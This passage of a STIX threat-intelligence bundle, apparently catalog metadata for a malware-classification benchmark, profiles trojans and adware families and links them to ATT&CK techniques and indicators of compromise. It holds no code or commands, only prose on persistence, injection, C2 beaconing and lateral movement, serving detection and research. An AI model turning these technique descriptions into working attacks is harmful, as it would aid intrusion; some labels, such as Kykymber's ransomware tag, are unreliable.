      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kuaizip exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9e7909a-a775-5a93-8bb2-1f8d9d03aa60",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--559914cf-f2cc-5e81-a261-3546c09c02cc",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kuaizip exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0c5db06f-c3ff-5c7f-932c-1e870a31c524",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kuluoz",
      "description": "Kuluoz (identified across antimalware research as Trojan:Win32/Kuluoz, TrojanDownloader:Win32/Kuluoz, and closely associated with the historic Asprox botnet infrastructure) is a modular Windows trojan downloader and spam botnet implant. Active in widespread phishing and malicious spam operations disguised as postal delivery notifications (FedEx, UPS, DHL, USPS) or court summonses, Kuluoz executes an encrypted loader that checks for sandbox environments and debuggers. Upon infection, it configures persistence through startup registry keys (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run) and injects malicious code into legitimate processes such as svchost.exe. Kuluoz establishes encrypted C2 communications over HTTP/HTTPS, receiving instructions to send high-volume spam emails, harvest stored credentials, scan for SQL injection vulnerabilities across external websites, and download secondary malware families such as ransomware and banking trojans. (Observed samples in benchmark: 22)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Kuluoz",
        "TrojanDownloader:Win32/Kuluoz",
        "Trojan:Win32/Kuluoz.A",
        "Trojan:Win32/Kuluoz.B",
        "Worm:Win32/Asprox"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kuluoz",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kuluoz"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f1ff7e6-ca25-5e39-86a1-1f568cb3f520",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0c5db06f-c3ff-5c7f-932c-1e870a31c524",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kuluoz exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--298996b0-830f-5356-8a16-35338b5bf3b2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0c5db06f-c3ff-5c7f-932c-1e870a31c524",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kuluoz exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff316576-033e-547d-a7ab-af9544e1fae5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0c5db06f-c3ff-5c7f-932c-1e870a31c524",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kuluoz exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e6bd9603-d410-5210-b57a-56d396c583e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0c5db06f-c3ff-5c7f-932c-1e870a31c524",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kuluoz exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb2ddb91-7ef9-5ec1-8697-96ec0cc89491",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0c5db06f-c3ff-5c7f-932c-1e870a31c524",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kuluoz exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c9e43e4a-0b34-54c0-a5e1-6f420dcf8b71",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kuping",
      "description": "Adware:Win32/Kuping is an intrusive adware component designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries, injects unwanted advertisements into webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Kuping</b><br>To an end-user, Kuping manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars or persistent pop-up ads. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Kuping is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files (e.g., Chrome's `Preferences` file or Firefox's `prefs.js`) to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kuping",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kuping"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e91bfdfc-019d-5058-9762-c62f1ce75410",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c9e43e4a-0b34-54c0-a5e1-6f420dcf8b71",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kuping exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7ba3ab5-10e3-59cf-a71b-c15ee4853b59",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c9e43e4a-0b34-54c0-a5e1-6f420dcf8b71",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kuping exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3637d96e-9a3f-57dd-99ce-fa47bfbe78bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c9e43e4a-0b34-54c0-a5e1-6f420dcf8b71",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kuping exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0c2002ae-1777-531d-89e8-86ef12c6737c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c9e43e4a-0b34-54c0-a5e1-6f420dcf8b71",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kuping exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f1359a50-2b92-5856-a8b0-3618da20724d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kura",
      "description": "Backdoor:Win32/Kura is a versatile and persistent Remote Access Trojan (RAT) and botnet client. It provides an attacker with comprehensive, interactive control over a compromised Windows system. Unlike simple downloaders, Kura is designed for 'hands-on-keyboard' attacks, allowing a human operator to explore the file system, steal credentials, execute arbitrary commands, and enlist the machine into a botnet for DDoS attacks (`T1059`).<br><br><b>Understanding Kura (RAT/Botnet)</b><br>To an end-user, the infection is entirely invisible, though system performance may degrade if the botnet initiates a DDoS attack. For an incident response team, the presence of Kura indicates an active, intelligent adversary is inside the network, capable of pivoting laterally and stealing sensitive data.<br><br><b>Execution and Interactive Control Mechanics</b><br>Kura is typically delivered via spearphishing campaigns (weaponized Office documents) or dropped by initial access brokers. Upon execution, it establishes persistence, often via Registry Run keys or hidden Scheduled Tasks (`T1547.001`). It establishes a reverse shell connection to the attacker's C2 server. The Kura control panel provides the attacker with a GUI to execute a wide array of modules: file managers, registry editors, keyloggers (`T1056.001`), password dumpers (targeting browsers and FTP clients), and remote desktop capabilities. It also contains routines for launching UDP/TCP flood attacks (`T1498.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total loss of system confidentiality, a high likelihood of lateral movement, and the liability of the host participating in DDoS attacks. Host-based IoCs include EDR alerts for anomalous command-line execution (e.g., `cmd.exe` or `powershell.exe` spawning from unexpected parent processes), unauthorized access to credential stores, and the creation of hidden staging directories for exfiltration. Network IoCs include a persistent, encrypted outbound connection to an unknown IP address, with traffic volume spiking during interactive sessions or DDoS floods. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kura",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kura"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b6a17a0-b3b5-50c6-89a5-14dd9bbe1c79",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f1359a50-2b92-5856-a8b0-3618da20724d",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kura exhibits technique T1059 (Command and Scripting Interpreter (Providing the attacker with interactive shell access))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f45f90bd-3c08-5081-a33d-8854857f766f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f1359a50-2b92-5856-a8b0-3618da20724d",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kura exhibits technique T1056.001 (Input Capture: Keylogging (Stealing real-time user input))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--865b058a-6948-56a5-8216-449913deb5fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f1359a50-2b92-5856-a8b0-3618da20724d",
      "target_ref": "attack-pattern--de90bafb-778c-5ec0-a6f3-6def0998c61c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kura exhibits technique T1498.001 (Network Denial of Service: Direct Network Flood (Using the host to participate in DDoS attacks))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4d800a22-ba53-5d85-822c-9779e8d2319f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f1359a50-2b92-5856-a8b0-3618da20724d",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kura exhibits technique T1041 (Exfiltration Over C2 Channel (Stealing files directly through the RAT connection))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--48d9f06e-fc25-5f68-a091-54cf5d08975c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kuzitui",
      "description": "KuziTui (frequently detected as Adware.KuziTui, PUA:Win32/KuziTui, and Adware:Win32/KuaiZip) is an intrusive adware bundler and Potentially Unwanted Application (PUA) family predominantly associated with commercial file compression utilities (such as KuaiZip) and software distribution networks. Emerging around 2015, KuziTui is bundled alongside free utility tools and distributed via pay-per-install advertising platforms. Once executed, KuziTui installs background promotional services, creates scheduled tasks, and hooks into desktop web browsers. The adware injects commercial pop-up and banner advertisements into active browsing sessions, alters default search providers, and redirects user navigation toward sponsored e-commerce portals. Additionally, KuziTui collects non-personally identifiable telemetry regarding user search queries, browsing habits, and system hardware specifications to serve targeted advertising, consuming substantial system resources and degrading browser stability. (Observed samples in benchmark: 194)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.KuziTui",
        "PUA:Win32/KuziTui",
        "Adware:Win32/KuaiZip",
        "PUA.KuziTui",
        "Win32/KuziTui"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kuzitui",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kuzitui"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--56aaaa77-37ef-59fb-855c-a72c8860743f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--48d9f06e-fc25-5f68-a091-54cf5d08975c",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kuzitui exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05697b2e-a167-5c95-92e7-91c9de840684",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--48d9f06e-fc25-5f68-a091-54cf5d08975c",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kuzitui exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b03ab222-3dc9-5c21-9b6c-780807d9a4b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--48d9f06e-fc25-5f68-a091-54cf5d08975c",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kuzitui exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c99727f3-8c49-5a5b-acf7-b5df389a754f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--48d9f06e-fc25-5f68-a091-54cf5d08975c",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kuzitui exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--47ecc7bd-849e-549f-802d-31b8be667088",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--48d9f06e-fc25-5f68-a091-54cf5d08975c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kuzitui exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--026bf0fe-e41a-5112-a4d1-f2b41080cfbd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kwampirs",
      "description": "Backdoor:Win32/Kwampirs is a sophisticated, highly targeted remote access trojan (RAT) primarily associated with the Advanced Persistent Threat (APT) group known as **Orangeworm**. Kwampirs gained notoriety for its laser-focused, long-term espionage campaigns against the **Healthcare sector**, specifically targeting international hospital networks, medical equipment manufacturers, and providers of healthcare logistics and IT services.<br><br><b>Understanding Kwampirs (Targeted Espionage)</b><br>To an end-user, a Kwampirs infection is completely silent. For an incident response team, detecting Kwampirs indicates a severe, state-sponsored or highly organized corporate espionage breach. The attackers specifically aim to compromise systems that control high-value medical imaging devices (like X-Ray and MRI machines) to steal intellectual property, patient data, and maintain deep, long-term persistence within critical healthcare infrastructure.<br><br><b>Execution and Backdoor Mechanics</b><br>Kwampirs is often delivered via targeted spearphishing (`T1566.001`) or supply chain compromises. Upon execution, it achieves persistence by installing itself as a hidden Windows Service (`T1543.003`), aggressively attempting to blend in with legitimate system processes. Kwampirs is a modular backdoor; it opens a covert channel to its C2 server (`T1071.001`) and can receive commands to download further payloads (`T1105`). It contains a highly aggressive, built-in network propagation module that aggressively copies itself across open network shares (`T1021.002`), attempting to infect every reachable machine on the hospital network to ensure persistence even if the initial beachhead is discovered.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is extreme: the compromise of critical healthcare systems and the theft of highly sensitive IP and PHI. Host-based IoCs include the presence of a hidden Windows service (often disguised with names mimicking legitimate medical software or system drivers), and the presence of the Kwampirs payload (often an obfuscated DLL) in the `System32` directory. Network IoCs include massive spikes in SMB (Port 445) traffic as the malware attempts aggressively to copy itself to all accessible network shares, and periodic beaconing to known Orangeworm C2 infrastructure. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kwampirs",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kwampirs"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8f1281bd-8707-5f2b-bca6-66b4d1a59383",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--026bf0fe-e41a-5112-a4d1-f2b41080cfbd",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kwampirs exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8b57ca4f-bc4b-5a8b-8b6d-bf0a9a5e7cf4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--026bf0fe-e41a-5112-a4d1-f2b41080cfbd",
      "target_ref": "attack-pattern--d66030a6-0b1f-5824-ae5f-d3704d249837",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kwampirs exhibits technique T1021.002 (Remote Services: SMB/Windows Admin Shares (Aggressive lateral movement))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a6b1ffe-4312-5eef-9daf-78c629dd628a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--026bf0fe-e41a-5112-a4d1-f2b41080cfbd",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kwampirs exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Beaconing))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ff28969-6778-56a6-8ff1-1540404281b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--026bf0fe-e41a-5112-a4d1-f2b41080cfbd",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kwampirs exhibits technique T1105 (Ingress Tool Transfer (Downloading further espionage tools))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e12d345a-f5c0-56bb-8d18-5f228a106dfa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kykymber",
      "description": "Trojan:Win32/Kykymber is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Kykymber</b><br>To an end-user, a Kykymber infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Kykymber is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Kykymber is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Kykymber frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Kykymber reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kykymber",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kykymber"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b75cc675-fdb1-5493-9d17-c9ddb4bb8398",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e12d345a-f5c0-56bb-8d18-5f228a106dfa",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kykymber exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f3520bfd-1600-53af-9b67-cebb46a8f439",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e12d345a-f5c0-56bb-8d18-5f228a106dfa",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kykymber exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2d482a6-8476-5bf9-87c1-9f506cda47b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e12d345a-f5c0-56bb-8d18-5f228a106dfa",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kykymber exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6a30b99d-53f4-5426-bc2a-fb633f2ce555",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e12d345a-f5c0-56bb-8d18-5f228a106dfa",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kykymber exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae0b2b5d-35b2-50a0-adf6-55c3f526c346",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e12d345a-f5c0-56bb-8d18-5f228a106dfa",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kykymber exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6e22871c-e380-5fae-a005-b19ba86000b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kz4Aamkfbloj",
      "description": "<h3>Executive Summary</h3>\nKZ4AAMKFBLOJ is an automated, signature-based detection name used by security engines to identify a highly obfuscated, randomly generated Trojan dropper or downloader. The non-sensical, randomized naming convention strongly indicates that this executable was generated dynamically by a malware \"crypter\" or packer service. These services are specifically designed by threat actors to generate unique file hashes on every deployment, explicitly to evade static, signature-based antivirus solutions.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nHighly randomized executables like this are the hallmark of massive, automated cybercriminal distribution networks. They are typically encountered as malicious email attachments (often disguised as invoices or shipping receipts) or delivered silently via drive-by downloads when a user visits a compromised website hosting an exploit kit.\n\nUpon execution, the malware's primary function is deployment and evasion:\n<ul>\n<li><strong>In-Memory Evasion:</strong> The executable acts as a heavily encrypted shell. When run, it decrypts its core malicious payload and injects it directly into the memory space of a trusted, built-in Windows process (like `explorer.exe` or `svchost.exe`). This technique, known as Process Hollowing, prevents traditional antivirus from scanning the decrypted payload on the hard drive.</li>\n<li><strong>C2 Beaconing:</strong> Once active in memory, the Trojan \"beacons\" out to a 